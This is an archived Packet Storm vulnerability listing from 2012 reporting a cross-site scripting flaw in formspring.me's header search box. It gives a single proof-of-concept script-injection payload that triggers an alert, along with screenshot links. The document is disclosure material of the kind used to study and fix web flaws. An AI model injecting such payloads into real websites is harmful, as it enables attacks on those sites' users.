Formspring.me Cross Site Scripting

2012-08-24T00:00:00
ID PACKETSTORM:115880
Type packetstorm
Reporter TayfunBasoglu
Modified 2012-08-24T00:00:00

Description

                                        
                                            `# Exploit Title: formspring.me xss  
# Date: 24.08.2012  
# Author: TayfunBasoglu  
# Tested: BackTrack 5  
# Platform: Php  
------------------------------------------------------------------  
formspring.me header search box  
image1 : http://3.bp.blogspot.com/-tu8ROsEvSWo/UDd_oQsB1vI/AAAAAAAAADY/yih1B1w67wY/s1600/1.PNG  
"><script>alert("TayfunBasoglu")</script>  
image2 : http://4.bp.blogspot.com/-cNyxkpXUZ-E/UDd_pAvmq4I/AAAAAAAAADg/-Dm2qwhZfSk/s1600/2.PNG  
------------------------------------------------------------------  
  
tayfunbasoglu.blogspot.com  
twitter.com/tayfunbasoglu  
  
`